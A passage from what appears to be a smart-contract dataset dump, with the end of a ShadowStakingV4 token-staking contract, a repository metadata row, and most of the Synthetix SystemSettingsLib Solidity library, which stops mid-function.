// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IMilk2Token {
function transfer(address _to, uint256 _amount) external returns (bool);
function balanceOf(address _to) external returns (uint256);
}
contract MultiplierMath {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function getInterval(uint256 a, uint256 b) internal pure returns(uint256) {
return a > b ? a - b : 0;
}
}
interface LastShadowContract {
function getRewards(address _user) external view returns(uint256);
function getTotalRewards(address _user) external view returns(uint256);
function getLastBlock(address _user) external view returns(uint256);
function getUsersCount() external view returns(uint256);
function getUser(uint256 _userId) external view returns(address);
}
contract ShadowStakingV4 is Ownable, MultiplierMath {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using ECDSA for bytes32;
struct UserInfo {
uint256 rewardDebt;
uint256 lastBlock;
}
struct PoolInfo {
IERC20 lpToken;
uint256 allocPointAmount;
uint256 blockCreation;
}
IMilk2Token public milk;
LastShadowContract public lastShadowContract;
mapping (address => UserInfo) private userInfo;
mapping (address => bool) public trustedSigner;
address[] internal users;
uint256 internal previousUsersCount;
mapping (address => uint256) public newUsersId;
PoolInfo[] private poolInfo;
uint256 private totalPoints;
uint256[5] internal epochs;
uint256[5] internal multipliers;
event Harvest(address sender, uint256 amount, uint256 blockNumber);
event AddNewPool(address token, uint256 pid);
event PoolUpdate(uint256 poolPid, uint256 previusPoints, uint256 newPoints);
event AddNewKey(bytes keyHash, uint256 id);
event EmergencyRefund(address sender, uint256 amount);
constructor(IMilk2Token _milk, uint256[5] memory _epochs, uint256[5] memory _multipliers, LastShadowContract _lastShadowContract) public {
milk = _milk;
epochs = _epochs;
multipliers = _multipliers;
lastShadowContract = _lastShadowContract;
previousUsersCount = lastShadowContract.getUsersCount();
}
function addNewPool(IERC20 _lpToken, uint256 _newPoints) public onlyOwner {
totalPoints = totalPoints.add(_newPoints);
poolInfo.push(PoolInfo({lpToken: _lpToken, allocPointAmount: _newPoints, blockCreation:block.number}));
emit AddNewPool(address(_lpToken), _newPoints);
}
function setPoll(uint256 _poolPid, uint256 _newPoints) public onlyOwner {
totalPoints = totalPoints.sub(poolInfo[_poolPid].allocPointAmount).add(_newPoints);
poolInfo[_poolPid].allocPointAmount = _newPoints;
}
function setTrustedSigner(address _signer, bool _isValid) public onlyOwner {
trustedSigner[_signer] = _isValid;
}
function getPool(uint256 _poolPid) public view returns(address _lpToken, uint256 _block, uint256 _weight) {
_lpToken = address(poolInfo[_poolPid].lpToken);
_block = poolInfo[_poolPid].blockCreation;
_weight = poolInfo[_poolPid].allocPointAmount;
}
function getPoolsCount() public view returns(uint256) {
return poolInfo.length;
}
function getRewards(address _user) public view returns(uint256) {
if (newUsersId[_user] == 0) {
return lastShadowContract.getRewards(_user);
} else {
return userInfo[_user].rewardDebt;
}
}
function getLastBlock(address _user) public view returns(uint256) {
if (newUsersId[_user] == 0) {
return lastShadowContract.getLastBlock(_user);
} else {
return userInfo[_user].lastBlock;
}
}
function getTotalPoints() public view returns(uint256) {
return totalPoints;
}
function registration() public {
require(getLastBlock(msg.sender) == 0, "User already exist");
_registration(msg.sender, 0, block.number);
}
function getData(uint256 _amount, uint256 _lastBlockNumber, uint256 _currentBlockNumber, address _sender) public pure returns(bytes32) {
return sha256(abi.encode(_amount, _lastBlockNumber, _currentBlockNumber, _sender));
}
///////////////////////////////////////////////////////////////////////////////////////
///// Refactored items
/////////////////////////////////////////////////////////////////////////////////////
function getMsgForSign(uint256 _amount, uint256 _lastBlockNumber, uint256 _currentBlockNumber, address _sender) public pure returns(bytes32) {
return keccak256(abi.encode(_amount, _lastBlockNumber, _currentBlockNumber, _sender));
}
function preSignMsg(bytes32 _msg) public pure returns(bytes32) {
return _msg.toEthSignedMessageHash();
}
function harvest(uint256 _amount, uint256 _lastBlockNumber, uint256 _currentBlockNumber, bytes32 _msgForSign, bytes memory _signature) public {
require(_currentBlockNumber <= block.number, "currentBlockNumber cannot be larger than the last block");
if (newUsersId[msg.sender] == 0) {
_registration(msg.sender, getRewards(msg.sender), getLastBlock(msg.sender));
}
//Double spend check
require(getLastBlock(msg.sender) == _lastBlockNumber, "lastBlockNumber must be equal to the value in the storage");
//1. Lets check signer
address signedBy = _msgForSign.recover(_signature);
require(trustedSigner[signedBy] == true, "Signature check failed!");
//2. Check signed msg integrety
bytes32 actualMsg = getMsgForSign(_amount,
_lastBlockNumber,
_currentBlockNumber,
msg.sender);
require(actualMsg.toEthSignedMessageHash() == _msgForSign,"Integrety check failed!");
//Actions
userInfo[msg.sender].rewardDebt = userInfo[msg.sender].rewardDebt.add(_amount);
userInfo[msg.sender].lastBlock = _currentBlockNumber;
if (_amount > 0) {
milk.transfer(msg.sender, _amount);
}
emit Harvest(msg.sender, _amount, _currentBlockNumber);
}
function getUsersCount() public view returns(uint256) {
return users.length.add(previousUsersCount);
}
function getUser(uint256 _userId) public view returns(address) {
if (_userId < previousUsersCount) {
return lastShadowContract.getUser(_userId);
}
else {
return users[_userId.sub(previousUsersCount)];
}
}
function getTotalRewards(address _user) public view returns(uint256) {
if (newUsersId[_user] == 0) {
return lastShadowContract.getTotalRewards(_user);
}
else {
return userInfo[_user].rewardDebt;
}
}
function _registration(address _user, uint256 _rewardDebt, uint256 _lastBlock) internal {
UserInfo storage _userInfo = userInfo[_user];
_userInfo.rewardDebt = _rewardDebt;
_userInfo.lastBlock = _lastBlock;
users.push(_user);
newUsersId[_user] = users.length;
}
function getValueMultiplier(uint256 _id) public view returns(uint256) {
return multipliers[_id];
}
function getValueEpoch(uint256 _id) public view returns(uint256) {
return epochs[_id];
}
function getMultiplier(uint256 f, uint256 t) public view returns(uint256) {
return getInterval(min(t, epochs[1]), max(f, epochs[0])) * multipliers[0] +
getInterval(min(t, epochs[2]), max(f, epochs[1])) * multipliers[1] +
getInterval(min(t, epochs[3]), max(f, epochs[2])) * multipliers[2] +
getInterval(min(t, epochs[4]), max(f, epochs[3])) * multipliers[3] +
getInterval(max(t, epochs[4]), max(f, epochs[4])) * multipliers[4];
}
function getCurrentMultiplier() public view returns(uint256) {
if (block.number < epochs[0]) {
return 0;
}
if (block.number < epochs[1]) {
return multipliers[0];
}
if (block.number < epochs[2]) {
return multipliers[1];
}
if (block.number < epochs[3]) {
return multipliers[2];
}
if (block.number < epochs[4]) {
return multipliers[3];
}
if (block.number > epochs[4]) {
return multipliers[4];
}
}
function setEpoch(uint256 _id, uint256 _amount) public onlyOwner {
epochs[_id] = _amount;
}
function setMultiplier(uint256 _id, uint256 _amount) public onlyOwner {
multipliers[_id] = _amount;
}
function emergencyRefund() public onlyOwner {
emit EmergencyRefund(msg.sender, milk.balanceOf(address(this)));
milk.transfer(owner(), milk.balanceOf(address(this)));
}
}
| 86,636 | 384 |
456a6b0f536c89f0f3b32da5d060c7214a9bbd0789ce1d7afe03b7502558cec7
| 31,763 |
.sol
|
Solidity
| false |
468407125
|
tintinweb/smart-contract-sanctuary-optimism
|
5f86f1320e8b5cdf11039be240475eff1303ed67
|
contracts/mainnet/d4/d4DB55Cf39c37BEAa3A47F2555D57B4ea2d9Ff39_SystemSettingsLib.sol
| 5,679 | 22,039 |
pragma solidity >=0.4.24;
// https://docs.synthetix.io/contracts/source/interfaces/iflexiblestorage
interface IFlexibleStorage {
// Views
function getUIntValue(bytes32 contractName, bytes32 record) external view returns (uint);
function getUIntValues(bytes32 contractName, bytes32[] calldata records) external view returns (uint[] memory);
function getIntValue(bytes32 contractName, bytes32 record) external view returns (int);
function getIntValues(bytes32 contractName, bytes32[] calldata records) external view returns (int[] memory);
function getAddressValue(bytes32 contractName, bytes32 record) external view returns (address);
function getAddressValues(bytes32 contractName, bytes32[] calldata records) external view returns (address[] memory);
function getBoolValue(bytes32 contractName, bytes32 record) external view returns (bool);
function getBoolValues(bytes32 contractName, bytes32[] calldata records) external view returns (bool[] memory);
function getBytes32Value(bytes32 contractName, bytes32 record) external view returns (bytes32);
function getBytes32Values(bytes32 contractName, bytes32[] calldata records) external view returns (bytes32[] memory);
// Mutative functions
function deleteUIntValue(bytes32 contractName, bytes32 record) external;
function deleteIntValue(bytes32 contractName, bytes32 record) external;
function deleteAddressValue(bytes32 contractName, bytes32 record) external;
function deleteBoolValue(bytes32 contractName, bytes32 record) external;
function deleteBytes32Value(bytes32 contractName, bytes32 record) external;
function setUIntValue(bytes32 contractName,
bytes32 record,
uint value) external;
function setUIntValues(bytes32 contractName,
bytes32[] calldata records,
uint[] calldata values) external;
function setIntValue(bytes32 contractName,
bytes32 record,
int value) external;
function setIntValues(bytes32 contractName,
bytes32[] calldata records,
int[] calldata values) external;
function setAddressValue(bytes32 contractName,
bytes32 record,
address value) external;
function setAddressValues(bytes32 contractName,
bytes32[] calldata records,
address[] calldata values) external;
function setBoolValue(bytes32 contractName,
bytes32 record,
bool value) external;
function setBoolValues(bytes32 contractName,
bytes32[] calldata records,
bool[] calldata values) external;
function setBytes32Value(bytes32 contractName,
bytes32 record,
bytes32 value) external;
function setBytes32Values(bytes32 contractName,
bytes32[] calldata records,
bytes32[] calldata values) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// Libraries
// https://docs.synthetix.io/contracts/source/libraries/safedecimalmath
library SafeDecimalMath {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
uint public constant UNIT = 10**uint(decimals);
uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals);
function unit() external pure returns (uint) {
return UNIT;
}
function preciseUnit() external pure returns (uint) {
return PRECISE_UNIT;
}
function multiplyDecimal(uint x, uint y) internal pure returns (uint) {
return x.mul(y) / UNIT;
}
function _multiplyDecimalRound(uint x,
uint y,
uint precisionUnit) private pure returns (uint) {
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, UNIT);
}
function divideDecimal(uint x, uint y) internal pure returns (uint) {
return x.mul(UNIT).div(y);
}
function _divideDecimalRound(uint x,
uint y,
uint precisionUnit) private pure returns (uint) {
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
function divideDecimalRound(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, UNIT);
}
function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
function decimalToPreciseDecimal(uint i) internal pure returns (uint) {
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
function preciseDecimalToDecimal(uint i) internal pure returns (uint) {
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
// Computes `a - b`, setting the value to 0 if b > a.
function floorsub(uint a, uint b) internal pure returns (uint) {
return b >= a ? 0 : a - b;
}
function signedAbs(int x) internal pure returns (int) {
return x < 0 ? -x : x;
}
function abs(int x) internal pure returns (uint) {
return uint(signedAbs(x));
}
}
// Internal references
// Libraries
/// This library is to reduce SystemSettings contract size only and is not really
/// a proper library - so it shares knowledge of implementation details
/// Some of the setters were refactored into this library, and some setters remain in the
/// contract itself (SystemSettings)
library SystemSettingsLib {
using SafeMath for uint;
using SafeDecimalMath for uint;
bytes32 public constant SETTINGS_CONTRACT_NAME = "SystemSettings";
// No more synths may be issued than the value of SNX backing them.
uint public constant MAX_ISSUANCE_RATIO = 1e18;
// The fee period must be between 1 day and 60 days.
uint public constant MIN_FEE_PERIOD_DURATION = 1 days;
uint public constant MAX_FEE_PERIOD_DURATION = 60 days;
uint public constant MAX_TARGET_THRESHOLD = 50;
uint public constant MAX_LIQUIDATION_RATIO = 1e18; // 100% issuance ratio
uint public constant RATIO_FROM_TARGET_BUFFER = 2e18; // 200% - mininimum buffer between issuance ratio and liquidation ratio
uint public constant MAX_LIQUIDATION_PENALTY = 1e18 / 4; // Max 25% liquidation penalty / bonus
uint public constant MAX_LIQUIDATION_DELAY = 30 days;
uint public constant MIN_LIQUIDATION_DELAY = 1 days;
// Exchange fee may not exceed 10%.
uint public constant MAX_EXCHANGE_FEE_RATE = 1e18 / 10;
// Minimum Stake time may not exceed 1 weeks.
uint public constant MAX_MINIMUM_STAKE_TIME = 1 weeks;
uint public constant MAX_CROSS_DOMAIN_GAS_LIMIT = 8e6;
uint public constant MIN_CROSS_DOMAIN_GAS_LIMIT = 3e6;
int public constant MAX_WRAPPER_MINT_FEE_RATE = 1e18;
int public constant MAX_WRAPPER_BURN_FEE_RATE = 1e18;
// Atomic block volume limit is encoded as uint192.
uint public constant MAX_ATOMIC_VOLUME_PER_BLOCK = uint192(-1);
// TWAP window must be between 1 min and 1 day.
uint public constant MIN_ATOMIC_TWAP_WINDOW = 60;
uint public constant MAX_ATOMIC_TWAP_WINDOW = 86400;
// Volatility consideration window must be between 1 min and 1 day.
uint public constant MIN_ATOMIC_VOLATILITY_CONSIDERATION_WINDOW = 60;
uint public constant MAX_ATOMIC_VOLATILITY_CONSIDERATION_WINDOW = 86400;
// workaround for library not supporting public constants in sol v0.5
function contractName() external view returns (bytes32) {
return SETTINGS_CONTRACT_NAME;
}
function setCrossDomainMessageGasLimit(IFlexibleStorage flexibleStorage,
bytes32 gasLimitSettings,
uint crossDomainMessageGasLimit) external {
require(crossDomainMessageGasLimit >= MIN_CROSS_DOMAIN_GAS_LIMIT &&
crossDomainMessageGasLimit <= MAX_CROSS_DOMAIN_GAS_LIMIT,
"Out of range xDomain gasLimit");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, gasLimitSettings, crossDomainMessageGasLimit);
}
function setIssuanceRatio(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint ratio) external {
require(ratio <= MAX_ISSUANCE_RATIO, "New issuance ratio cannot exceed MAX_ISSUANCE_RATIO");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, ratio);
}
function setTradingRewardsEnabled(IFlexibleStorage flexibleStorage,
bytes32 settingName,
bool _tradingRewardsEnabled) external {
flexibleStorage.setBoolValue(SETTINGS_CONTRACT_NAME, settingName, _tradingRewardsEnabled);
}
function setWaitingPeriodSecs(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _waitingPeriodSecs) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _waitingPeriodSecs);
}
function setPriceDeviationThresholdFactor(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _priceDeviationThresholdFactor) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _priceDeviationThresholdFactor);
}
function setFeePeriodDuration(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _feePeriodDuration) external {
require(_feePeriodDuration >= MIN_FEE_PERIOD_DURATION, "value < MIN_FEE_PERIOD_DURATION");
require(_feePeriodDuration <= MAX_FEE_PERIOD_DURATION, "value > MAX_FEE_PERIOD_DURATION");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _feePeriodDuration);
}
function setTargetThreshold(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint percent) external returns (uint threshold) {
require(percent <= MAX_TARGET_THRESHOLD, "Threshold too high");
threshold = percent.mul(SafeDecimalMath.unit()).div(100);
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, threshold);
}
function setLiquidationDelay(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint time) external {
require(time <= MAX_LIQUIDATION_DELAY, "Must be less than 30 days");
require(time >= MIN_LIQUIDATION_DELAY, "Must be greater than 1 day");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, time);
}
function setLiquidationRatio(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _liquidationRatio,
uint getLiquidationPenalty,
uint getIssuanceRatio) external {
require(_liquidationRatio <= MAX_LIQUIDATION_RATIO.divideDecimal(SafeDecimalMath.unit().add(getLiquidationPenalty)),
"liquidationRatio > MAX_LIQUIDATION_RATIO / (1 + penalty)");
// MIN_LIQUIDATION_RATIO is a product of target issuance ratio * RATIO_FROM_TARGET_BUFFER
uint MIN_LIQUIDATION_RATIO = getIssuanceRatio.multiplyDecimal(RATIO_FROM_TARGET_BUFFER);
require(_liquidationRatio >= MIN_LIQUIDATION_RATIO, "liquidationRatio < MIN_LIQUIDATION_RATIO");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _liquidationRatio);
}
function setLiquidationPenalty(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint penalty) external {
require(penalty <= MAX_LIQUIDATION_PENALTY, "penalty > MAX_LIQUIDATION_PENALTY");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, penalty);
}
function setRateStalePeriod(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint period) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, period);
}
function setExchangeFeeRateForSynths(IFlexibleStorage flexibleStorage,
bytes32 settingExchangeFeeRate,
bytes32[] calldata synthKeys,
uint256[] calldata exchangeFeeRates) external {
require(synthKeys.length == exchangeFeeRates.length, "Array lengths dont match");
for (uint i = 0; i < synthKeys.length; i++) {
require(exchangeFeeRates[i] <= MAX_EXCHANGE_FEE_RATE, "MAX_EXCHANGE_FEE_RATE exceeded");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingExchangeFeeRate, synthKeys[i])),
exchangeFeeRates[i]);
}
}
function setMinimumStakeTime(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _seconds) external {
require(_seconds <= MAX_MINIMUM_STAKE_TIME, "stake time exceed maximum 1 week");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _seconds);
}
function setDebtSnapshotStaleTime(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _seconds) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _seconds);
}
function setAggregatorWarningFlags(IFlexibleStorage flexibleStorage,
bytes32 settingName,
address _flags) external {
require(_flags != address(0), "Valid address must be given");
flexibleStorage.setAddressValue(SETTINGS_CONTRACT_NAME, settingName, _flags);
}
function setEtherWrapperMaxETH(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _maxETH) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _maxETH);
}
function setEtherWrapperMintFeeRate(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _rate) external {
require(_rate <= uint(MAX_WRAPPER_MINT_FEE_RATE), "rate > MAX_WRAPPER_MINT_FEE_RATE");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _rate);
}
function setEtherWrapperBurnFeeRate(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _rate) external {
require(_rate <= uint(MAX_WRAPPER_BURN_FEE_RATE), "rate > MAX_WRAPPER_BURN_FEE_RATE");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _rate);
}
function setWrapperMaxTokenAmount(IFlexibleStorage flexibleStorage,
bytes32 settingName,
address _wrapper,
uint _maxTokenAmount) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _wrapper)),
_maxTokenAmount);
}
function setWrapperMintFeeRate(IFlexibleStorage flexibleStorage,
bytes32 settingName,
address _wrapper,
int _rate,
int getWrapperBurnFeeRate) external {
require(_rate <= MAX_WRAPPER_MINT_FEE_RATE, "rate > MAX_WRAPPER_MINT_FEE_RATE");
require(_rate >= -MAX_WRAPPER_MINT_FEE_RATE, "rate < -MAX_WRAPPER_MINT_FEE_RATE");
// if mint rate is negative, burn fee rate should be positive and at least equal in magnitude
// otherwise risk of flash loan attack
if (_rate < 0) {
require(-_rate <= getWrapperBurnFeeRate, "-rate > wrapperBurnFeeRate");
}
flexibleStorage.setIntValue(SETTINGS_CONTRACT_NAME, keccak256(abi.encodePacked(settingName, _wrapper)), _rate);
}
function setWrapperBurnFeeRate(IFlexibleStorage flexibleStorage,
bytes32 settingName,
address _wrapper,
int _rate,
int getWrapperMintFeeRate) external {
require(_rate <= MAX_WRAPPER_BURN_FEE_RATE, "rate > MAX_WRAPPER_BURN_FEE_RATE");
require(_rate >= -MAX_WRAPPER_BURN_FEE_RATE, "rate < -MAX_WRAPPER_BURN_FEE_RATE");
// if burn rate is negative, burn fee rate should be negative and at least equal in magnitude
// otherwise risk of flash loan attack
if (_rate < 0) {
require(-_rate <= getWrapperMintFeeRate, "-rate > wrapperMintFeeRate");
}
flexibleStorage.setIntValue(SETTINGS_CONTRACT_NAME, keccak256(abi.encodePacked(settingName, _wrapper)), _rate);
}
function setInteractionDelay(IFlexibleStorage flexibleStorage,
bytes32 settingName,
address _collateral,
uint _interactionDelay) external {
require(_interactionDelay <= SafeDecimalMath.unit() * 3600, "Max 1 hour");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _collateral)),
_interactionDelay);
}
function setCollapseFeeRate(IFlexibleStorage flexibleStorage,
bytes32 settingName,
address _collateral,
uint _collapseFeeRate) external {
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _collateral)),
_collapseFeeRate);
}
function setAtomicMaxVolumePerBlock(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _maxVolume) external {
require(_maxVolume <= MAX_ATOMIC_VOLUME_PER_BLOCK, "Atomic max volume exceed maximum uint192");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _maxVolume);
}
function setAtomicTwapWindow(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint _window) external {
require(_window >= MIN_ATOMIC_TWAP_WINDOW, "Atomic twap window under minimum 1 min");
require(_window <= MAX_ATOMIC_TWAP_WINDOW, "Atomic twap window exceed maximum 1 day");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, settingName, _window);
}
function setAtomicEquivalentForDexPricing(IFlexibleStorage flexibleStorage,
bytes32 settingName,
bytes32 _currencyKey,
address _equivalent) external {
require(_equivalent != address(0), "Atomic equivalent is 0 address");
flexibleStorage.setAddressValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _currencyKey)),
_equivalent);
}
function setAtomicExchangeFeeRate(IFlexibleStorage flexibleStorage,
bytes32 settingName,
bytes32 _currencyKey,
uint _exchangeFeeRate) external {
require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "MAX_EXCHANGE_FEE_RATE exceeded");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME,
keccak256(abi.encodePacked(settingName, _currencyKey)),
_exchangeFeeRate);
}
function setAtomicVolatilityConsiderationWindow(IFlexibleStorage flexibleStorage,
bytes32 settingName,
bytes32 _currencyKey,
uint _window) external {
if (_window != 0) {
require(_window >= MIN_ATOMIC_VOLATILITY_CONSIDERATION_WINDOW,
"Atomic volatility consideration window under minimum 1 min");
